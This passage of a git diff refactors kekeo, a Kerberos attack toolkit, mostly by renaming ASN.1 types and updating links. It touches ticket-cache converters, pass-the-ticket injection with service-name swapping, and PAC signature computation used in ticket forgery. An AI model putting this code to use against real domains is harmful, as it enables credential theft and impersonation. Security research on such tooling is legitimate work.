+DWORD kiwi_ccache_size_header_krbcred(KULL_M_ASN1_KRB_CRED *cred, KULL_M_ASN1_EncKrbCredPart * encKrbCredPart, KULL_M_ASN1_PrincipalName ** pname, KULL_M_ASN1_Realm ** prealm);
void kiwi_ccache_skip_buffer(PBYTE *data);
void kiwi_ccache_skip_struct_with_buffer(PBYTE *data);
-void kiwi_ccache_free_ticketInfo(struct _seqof5 * infos);
-void kiwi_ccache_free_ticket(struct _seqof3 * ticket);
-DWORD kiwi_ccache_size_principal_realm(PrincipalName *name, Realm *realm);
-void kiwi_ccache_create_principal_realm(PBYTE *data, PrincipalName *name, Realm *realm);
-void kiwi_ccache_copy_principal_realm(PrincipalName *srcName, Realm *srcRealm, PrincipalName *dstName, Realm *dstRealm);
-void kiwi_ccache_free_principal_realm(PrincipalName *name, Realm *realm);
-void kiwi_ccache_write_principal_realm(PBYTE *data, PrincipalName *name, Realm *realm);
\ No newline at end of file
+void kiwi_ccache_free_ticketInfo(struct KULL_M_ASN1__seqof5 * infos);
+void kiwi_ccache_free_ticket(struct KULL_M_ASN1__seqof3 * ticket);
+DWORD kiwi_ccache_size_principal_realm(KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm);
+void kiwi_ccache_create_principal_realm(PBYTE *data, KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm);
+void kiwi_ccache_copy_principal_realm(KULL_M_ASN1_PrincipalName *srcName, KULL_M_ASN1_Realm *srcRealm, KULL_M_ASN1_PrincipalName *dstName, KULL_M_ASN1_Realm *dstRealm);
+void kiwi_ccache_free_principal_realm(KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm);
+void kiwi_ccache_write_principal_realm(PBYTE *data, KULL_M_ASN1_PrincipalName *name, KULL_M_ASN1_Realm *realm);
\ No newline at end of file
diff --git a/kekeo/modules/codecs/common.c b/kekeo/modules/codecs/common.c
index 3d12d2b..eba6b32 100644
--- a/kekeo/modules/codecs/common.c
+++ b/kekeo/modules/codecs/common.c
@@ -1,29 +1,29 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
#include "common.h"
-void addCred(KRB_CRED *cred, KRB_CRED **dst)
+void addCred(KULL_M_ASN1_KRB_CRED *cred, KULL_M_ASN1_KRB_CRED **dst)
{
- EncKrbCredPart *encCred = NULL, *encDst = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encCred = NULL, *encDst = NULL;
OssBuf original;
- KRB_CRED *tmp = NULL;
- struct _seqof3 **tickets = NULL;
- struct _seqof5 **ticket_info = NULL;
+ KULL_M_ASN1_KRB_CRED *tmp = NULL;
+ struct KULL_M_ASN1__seqof3 **tickets = NULL;
+ struct KULL_M_ASN1__seqof5 **ticket_info = NULL;
int pduNum;
if(!*dst)
{
- if(ossCpyValue(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, cred, (LPVOID *) dst))
+ if(ossCpyValue(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, cred, (LPVOID *) dst))
PRINT_ERROR(L"Unable to copy KRB_CRED: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
else
{
- pduNum = EncKrbCredPart_PDU;
+ pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &cred->enc_part.cipher, (LPVOID *) &encCred))
{
- pduNum = EncKrbCredPart_PDU;
+ pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &(*dst)->enc_part.cipher, (LPVOID *) &encDst))
{
if((tickets = &(*dst)->tickets) && (ticket_info = &encDst->ticket_info))
@@ -39,41 +39,41 @@ void addCred(KRB_CRED *cred, KRB_CRED **dst)
original = *(OssBuf *) &(*dst)->enc_part.cipher;
(*dst)->enc_part.cipher.length = 0;
(*dst)->enc_part.cipher.value = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encDst, (OssBuf *) &(*dst)->enc_part.cipher))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encDst, (OssBuf *) &(*dst)->enc_part.cipher))
{
- if(ossCpyValue(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, *dst, (LPVOID *) &tmp))
+ if(ossCpyValue(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, *dst, (LPVOID *) &tmp))
PRINT_ERROR(L"Unable to copy KRB_CRED: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
ossFreeBuf(&kull_m_kerberos_asn1_world, (*dst)->enc_part.cipher.value);
}
else PRINT_ERROR(L"Unable to encode EncKrbCredPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
- (*dst)->enc_part.cipher = *(_octet1 *) &original;
+ (*dst)->enc_part.cipher = *(KULL_M_ASN1__octet1 *) &original;
(*tickets)->next = NULL;
(*ticket_info)->next = NULL;
}
if(tmp)
{
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, *dst);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, *dst);
*dst = tmp;
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encDst);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encDst);
}
else PRINT_ERROR(L"Unable to decode EncKrbCredPart(dst): %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encCred);
}
else PRINT_ERROR(L"Unable to decode EncKrbCredPart(cred): %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
}
-void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KRB_CRED *cred)
+void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KULL_M_ASN1_KRB_CRED *cred)
{
OssBuf output = {0, NULL};
- EncKrbCredPart * encKrbCredPart = NULL, credpart;
- struct _seqof5 * nextInfos, infos;
- struct _seqof3 * nextTicket, ticket;
+ KULL_M_ASN1_EncKrbCredPart * encKrbCredPart = NULL, credpart;
+ struct KULL_M_ASN1__seqof5 * nextInfos, infos;
+ struct KULL_M_ASN1__seqof3 * nextTicket, ticket;
DWORD i;
- KRB_CRED tmp;
+ KULL_M_ASN1_KRB_CRED tmp;
LPWSTR filename;
- int pduNum = EncKrbCredPart_PDU;
+ int pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &cred->enc_part.cipher, (LPVOID *) &encKrbCredPart))
{
@@ -96,7 +96,7 @@ void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KRB_CRED *cred)
infos = *nextInfos;
infos.next = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, &credpart, (OssBuf *) &tmp.enc_part.cipher))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, &credpart, (OssBuf *) &tmp.enc_part.cipher))
{
if(module->writeData(&tmp, &output))
{
@@ -141,6 +141,6 @@ void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KRB_CRED *cred)
LocalFree(output.value);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCredPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCredPart);
}
}
\ No newline at end of file
diff --git a/kekeo/modules/codecs/common.h b/kekeo/modules/codecs/common.h
index 31be2dd..7f6a726 100644
--- a/kekeo/modules/codecs/common.h
+++ b/kekeo/modules/codecs/common.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -9,8 +9,8 @@
#include "../kerberos/kuhl_m_kerberos.h"
typedef BOOL (* PVALID_HEADER) (OssBuf *input);
-typedef BOOL (* PREAD_DATA) (OssBuf *input, KRB_CRED **cred);
-typedef BOOL (* PWRITE_DATA) (KRB_CRED *cred, OssBuf *output);
+typedef BOOL (* PREAD_DATA) (OssBuf *input, KULL_M_ASN1_KRB_CRED **cred);
+typedef BOOL (* PWRITE_DATA) (KULL_M_ASN1_KRB_CRED *cred, OssBuf *output);
typedef struct _KERB_FORMAT_MODULE {
PCWSTR shortName;
@@ -21,8 +21,8 @@ typedef struct _KERB_FORMAT_MODULE {
PCWSTR multiName;
} KERB_FORMAT_MODULE, *PKERB_FORMAT_MODULE;
-void addCred(KRB_CRED *cred, KRB_CRED **dst);
-void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KRB_CRED *cred);
+void addCred(KULL_M_ASN1_KRB_CRED *cred, KULL_M_ASN1_KRB_CRED **dst);
+void writeData(const KERB_FORMAT_MODULE * module, BOOL multiple, KULL_M_ASN1_KRB_CRED *cred);
#include "ccache.h"
#include "krbcred.h"
diff --git a/kekeo/modules/codecs/krbcred.c b/kekeo/modules/codecs/krbcred.c
index 9009c66..9aadeb6 100644
--- a/kekeo/modules/codecs/krbcred.c
+++ b/kekeo/modules/codecs/krbcred.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -10,10 +10,10 @@ BOOL kiwi_krbcred_valid_header(OssBuf *input)
return ((input->length > 4) && ((_byteswap_ushort(*(PUSHORT) input->value) & 0xfff0) == 0x7680));
}
-BOOL kiwi_krbcred_read(OssBuf *input, KRB_CRED **cred)
+BOOL kiwi_krbcred_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred)
{
BOOL status = FALSE;
- int pduNum = KRB_CRED_PDU;
+ int pduNum = KULL_M_ASN1_KRB_CRED_PDU;
*cred = NULL;
status = !ossDecode(&kull_m_kerberos_asn1_world, &pduNum, input, (LPVOID *) cred);
if(!status)
@@ -21,14 +21,14 @@ BOOL kiwi_krbcred_read(OssBuf *input, KRB_CRED **cred)
return status;
}
-BOOL kiwi_krbcred_write(KRB_CRED *cred, OssBuf *output)
+BOOL kiwi_krbcred_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output)
{
BOOL status = FALSE;
OssBuf tmp = {0, NULL};
output->length = 0;
output->value = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, cred, &tmp))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, cred, &tmp))
{
if(output->value = (unsigned char *) LocalAlloc(LPTR, tmp.length))
{
diff --git a/kekeo/modules/codecs/krbcred.h b/kekeo/modules/codecs/krbcred.h
index 779a7e3..7116e74 100644
--- a/kekeo/modules/codecs/krbcred.h
+++ b/kekeo/modules/codecs/krbcred.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -7,5 +7,5 @@
#include "common.h"
BOOL kiwi_krbcred_valid_header(OssBuf *input);
-BOOL kiwi_krbcred_read(OssBuf *input, KRB_CRED **cred);
-BOOL kiwi_krbcred_write(KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
+BOOL kiwi_krbcred_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred);
+BOOL kiwi_krbcred_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
diff --git a/kekeo/modules/codecs/lsa.c b/kekeo/modules/codecs/lsa.c
index c72f22d..98e8881 100644
--- a/kekeo/modules/codecs/lsa.c
+++ b/kekeo/modules/codecs/lsa.c
@@ -1,11 +1,11 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
#include "lsa.h"
-BOOL kiwi_lsa_write(KRB_CRED *cred, OssBuf *output)
+BOOL kiwi_lsa_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output)
{
return kiwi_krbcred_write(cred, output);
}
\ No newline at end of file
diff --git a/kekeo/modules/codecs/lsa.h b/kekeo/modules/codecs/lsa.h
index 3fba633..c623b06 100644
--- a/kekeo/modules/codecs/lsa.h
+++ b/kekeo/modules/codecs/lsa.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -7,4 +7,4 @@
#include "common.h"
#include "krbcred.h"
-BOOL kiwi_lsa_write(KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
+BOOL kiwi_lsa_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
diff --git a/kekeo/modules/codecs/wce.c b/kekeo/modules/codecs/wce.c
index 6c39e09..723fe8e 100644
--- a/kekeo/modules/codecs/wce.c
+++ b/kekeo/modules/codecs/wce.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -10,11 +10,11 @@ BOOL kiwi_wce_valid_header(OssBuf *input)
return ((input->length > 3 * sizeof(DWORD)) && (*(PDWORD) input->value) == WCE_KERBEROS_TICKET_HEADER);
}
-BOOL kiwi_wce_read(OssBuf *input, KRB_CRED **cred)
+BOOL kiwi_wce_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred)
{
PWCE_KERBEROS_TICKET pWce;
OssBuf buffer;
- KRB_CRED *bufferCred;
+ KULL_M_ASN1_KRB_CRED *bufferCred;
DWORD i, curTicket, nbTicket = 0;
BOOL isKey = FALSE;
@@ -34,7 +34,7 @@ BOOL kiwi_wce_read(OssBuf *input, KRB_CRED **cred)
{
addCred(bufferCred, cred);
nbTicket++;
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, bufferCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, bufferCred);
}
else PRINT_ERROR(L"[ticket %u] reading KRB-CRED from wce cache\n", curTicket);
}
@@ -43,17 +43,17 @@ BOOL kiwi_wce_read(OssBuf *input, KRB_CRED **cred)
return (nbTicket > 0);
}
-BOOL kiwi_wce_write(KRB_CRED *cred, OssBuf *output)
+BOOL kiwi_wce_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output)
{
BOOL status = FALSE;
PWCE_BUFF_TICKET outputTmp = NULL;
- EncKrbCredPart * encKrbCredPart = NULL, credpart;
- struct _seqof5 * nextInfos, infos;
- struct _seqof3 * nextTicket, ticket;
- KRB_CRED tmp;
+ KULL_M_ASN1_EncKrbCredPart * encKrbCredPart = NULL, credpart;
+ struct KULL_M_ASN1__seqof5 * nextInfos, infos;
+ struct KULL_M_ASN1__seqof3 * nextTicket, ticket;
+ KULL_M_ASN1_KRB_CRED tmp;
DWORD i, count = 0;
PWCE_KERBEROS_TICKET pWce;
- int pduNum = EncKrbCredPart_PDU;
+ int pduNum = KULL_M_ASN1_EncKrbCredPart_PDU;
output->length = 0;
output->value = NULL;
if(!ossDecode(&kull_m_kerberos_asn1_world, &pduNum, (OssBuf *) &cred->enc_part.cipher, (LPVOID *) &encKrbCredPart))
@@ -84,7 +84,7 @@ BOOL kiwi_wce_write(KRB_CRED *cred, OssBuf *output)
if(outputTmp[i].SessionKey.length && (outputTmp[i].SessionKey.value = (PBYTE) LocalAlloc(LPTR, outputTmp[i].SessionKey.length)))
{
RtlCopyMemory(outputTmp[i].SessionKey.value, infos.value.key.keyvalue.value, outputTmp[i].SessionKey.length);
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, &credpart, (OssBuf *) &tmp.enc_part.cipher))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, &credpart, (OssBuf *) &tmp.enc_part.cipher))
{
if(!kiwi_krbcred_write(&tmp, &outputTmp[i].Ticket))
PRINT_ERROR(L"writing KRB_CRED\n");
@@ -93,7 +93,7 @@ BOOL kiwi_wce_write(KRB_CRED *cred, OssBuf *output)
else PRINT_ERROR(L"Unable to encode EncKrbCredPart: %S", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCredPart);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCredPart);
for(i = 0; i < count; i++)
output->length += FIELD_OFFSET(WCE_KERBEROS_TICKET, data) + outputTmp[i].SessionKey.length + outputTmp[i].Ticket.length;
diff --git a/kekeo/modules/codecs/wce.h b/kekeo/modules/codecs/wce.h
index 18a40ba..fd0e7c6 100644
--- a/kekeo/modules/codecs/wce.h
+++ b/kekeo/modules/codecs/wce.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by-nc-sa/4.0/
*/
@@ -24,5 +24,5 @@ typedef struct _WCE_BUFF_TICKET {
} WCE_BUFF_TICKET, *PWCE_BUFF_TICKET;
BOOL kiwi_wce_valid_header(OssBuf *input);
-BOOL kiwi_wce_read(OssBuf *input, KRB_CRED **cred);
-BOOL kiwi_wce_write(KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
+BOOL kiwi_wce_read(OssBuf *input, KULL_M_ASN1_KRB_CRED **cred);
+BOOL kiwi_wce_write(KULL_M_ASN1_KRB_CRED *cred, OssBuf *output);
\ No newline at end of file
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos.c b/kekeo/modules/kerberos/kuhl_m_kerberos.c
index 7d01303..7d782b0 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos.c
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -64,7 +64,7 @@ NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t * argv[])
BOOL CALLBACK kuhl_m_kerberos_ptt_directory(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg)
{
PWSTR separator;
- PrincipalName pAltService;
+ KULL_M_ASN1_PrincipalName pAltService;
if(fullpath)
{
separator = wcschr(fullpath, L'|');
@@ -84,13 +84,13 @@ BOOL CALLBACK kuhl_m_kerberos_ptt_directory(DWORD level, PCWCHAR fullpath, PCWCH
return FALSE;
}
-void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService)
+void kuhl_m_kerberos_ptt_file(PCWCHAR filename, KULL_M_ASN1_PrincipalName *pAltService)
{
NTSTATUS status;
- KRB_CRED *KrbCred = NULL, outKrbCred = {0};
- EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL, outKrbCred = {0};
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
OssBuf ossTgtBuff = {0, NULL}, ossOutTgtBuff = {0, NULL};
- PrincipalName tmp, tmp2;
+ KULL_M_ASN1_PrincipalName tmp, tmp2;
if(kull_m_file_readData(filename, &ossTgtBuff.value, (PDWORD) &ossTgtBuff.length))
{
@@ -106,7 +106,7 @@ void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService)
tmp = KrbCred->tickets->value.sname;
KrbCred->tickets->value.sname = *pAltService;
- if(encKrbCred->ticket_info->value.bit_mask & KrbCredInfo_sname_present)
+ if(encKrbCred->ticket_info->value.bit_mask & KULL_M_ASN1_KrbCredInfo_sname_present)
{
tmp2 = encKrbCred->ticket_info->value.sname;
encKrbCred->ticket_info->value.sname = *pAltService;
@@ -116,9 +116,9 @@ void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService)
outKrbCred.enc_part.cipher.length = 0;
outKrbCred.enc_part.cipher.value = NULL;
- if(!ossEncode(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred, (OssBuf *) &outKrbCred.enc_part.cipher))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred, (OssBuf *) &outKrbCred.enc_part.cipher))
{
- if(!ossEncode(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, &outKrbCred, &ossOutTgtBuff))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, &outKrbCred, &ossOutTgtBuff))
{
status = kuhl_m_kerberos_ptt_data(ossOutTgtBuff.value, ossOutTgtBuff.length, NULL);
ossFreeBuf(&kull_m_kerberos_asn1_world, ossOutTgtBuff.value);
@@ -129,10 +129,10 @@ void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService)
else PRINT_ERROR(L"Unable to encode EncKrbCredPart: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
KrbCred->tickets->value.sname = tmp;
- if(encKrbCred->ticket_info->value.bit_mask & KrbCredInfo_sname_present)
+ if(encKrbCred->ticket_info->value.bit_mask & KULL_M_ASN1_KrbCredInfo_sname_present)
encKrbCred->ticket_info->value.sname = tmp2;
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
}
}
else status = kuhl_m_kerberos_ptt_data(ossTgtBuff.value, ossTgtBuff.length, NULL);
@@ -146,7 +146,7 @@ void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService)
else PRINT_ERROR_AUTO(L"kull_m_file_readData");
}
-NTSTATUS CALLBACK kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize, PrincipalName *sname)
+NTSTATUS CALLBACK kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize, KULL_M_ASN1_PrincipalName *sname)
{
NTSTATUS status = STATUS_MEMORY_NOT_ALLOCATED, packageStatus;
DWORD submitSize, responseSize;
@@ -214,8 +214,8 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
DWORD szData, i;
OssBuf buf = {0, NULL};
LPWSTR filename;
- KRB_CRED *KrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus);
if(NT_SUCCESS(status))
@@ -252,8 +252,8 @@ NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[])
LocalFree(filename);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, EncKrbCredPart_PDU, encKrbCred);
- ossFreePDU(&kull_m_kerberos_asn1_world, KRB_CRED_PDU, KrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_EncKrbCredPart_PDU, encKrbCred);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KRB_CRED_PDU, KrbCred);
}
LsaFreeReturnBuffer(pKerbRetrieveResponse);
}
@@ -283,8 +283,8 @@ NTSTATUS kuhl_m_kerberos_ask(int argc, wchar_t * argv[])
USHORT dwTarget;
OssBuf buf = {0, NULL};
LPWSTR filename;
- KRB_CRED *KrbCred = NULL;
- EncKrbCredPart *encKrbCred = NULL;
+ KULL_M_ASN1_KRB_CRED *KrbCred = NULL;
+ KULL_M_ASN1_EncKrbCredPart *encKrbCred = NULL;
if(kull_m_string_args_byName(argc, argv, L"service", &szTarget, NULL))
{
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos.h b/kekeo/modules/kerberos/kuhl_m_kerberos.h
index dfad7ed..7365365 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos.h
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -17,8 +17,8 @@ NTSTATUS LsaCallKerberosPackage(PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLe
NTSTATUS kuhl_m_kerberos_ptt(int argc, wchar_t * argv[]);
BOOL CALLBACK kuhl_m_kerberos_ptt_directory(DWORD level, PCWCHAR fullpath, PCWCHAR path, PVOID pvArg);
-void kuhl_m_kerberos_ptt_file(PCWCHAR filename, PrincipalName *pAltService);
-NTSTATUS CALLBACK kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize, PrincipalName *sname);
+void kuhl_m_kerberos_ptt_file(PCWCHAR filename, KULL_M_ASN1_PrincipalName *pAltService);
+NTSTATUS CALLBACK kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize, KULL_M_ASN1_PrincipalName *sname);
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_ask(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_kerberos_purge(int argc, wchar_t * argv[]);
\ No newline at end of file
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos_claims.c b/kekeo/modules/kerberos/kuhl_m_kerberos_claims.c
index bcdfc0d..c642a99 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos_claims.c
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos_claims.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos_claims.h b/kekeo/modules/kerberos/kuhl_m_kerberos_claims.h
index bfa227d..82a592b 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos_claims.h
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos_claims.h
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
diff --git a/kekeo/modules/kerberos/kuhl_m_kerberos_pac.c b/kekeo/modules/kerberos/kuhl_m_kerberos_pac.c
index 03bc745..baa54e5 100644
--- a/kekeo/modules/kerberos/kuhl_m_kerberos_pac.c
+++ b/kekeo/modules/kerberos/kuhl_m_kerberos_pac.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -16,7 +16,7 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
if(NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum)))
{
- szSignature += pCheckSum->Size;
+ szSignature += pCheckSum->CheckSumSize;
szSignatureAligned = SIZE_ALIGN(szSignature, 8);
if(kull_m_pac_EncodeValidationInformation(&validationInfo, &pLogonInfo, &szLogonInfo))
@@ -99,7 +99,7 @@ NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureT
if((pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV) || (pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_KDC))
{
pSignatureData = (PPAC_SIGNATURE_DATA) ((PBYTE) pacType + pacType->Buffers[i].Offset);
- RtlZeroMemory(pSignatureData->Signature, pCheckSum->Size);
+ RtlZeroMemory(pSignatureData->Signature, pCheckSum->CheckSumSize);
if(pacType->Buffers[i].ulType == PACINFO_TYPE_CHECKSUM_SRV)
checksumSrv = pSignatureData->Signature;
else
@@ -117,7 +117,7 @@ NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureT
status = pCheckSum->InitializeEx(key, keySize, KERB_NON_KERB_CKSUM_SALT, &Context);
if(NT_SUCCESS(status))
{
- pCheckSum->Sum(Context, pCheckSum->Size, checksumSrv);
+ pCheckSum->Sum(Context, pCheckSum->CheckSumSize, checksumSrv);
pCheckSum->Finalize(Context, checksumpKdc);
pCheckSum->Finish(&Context);
}
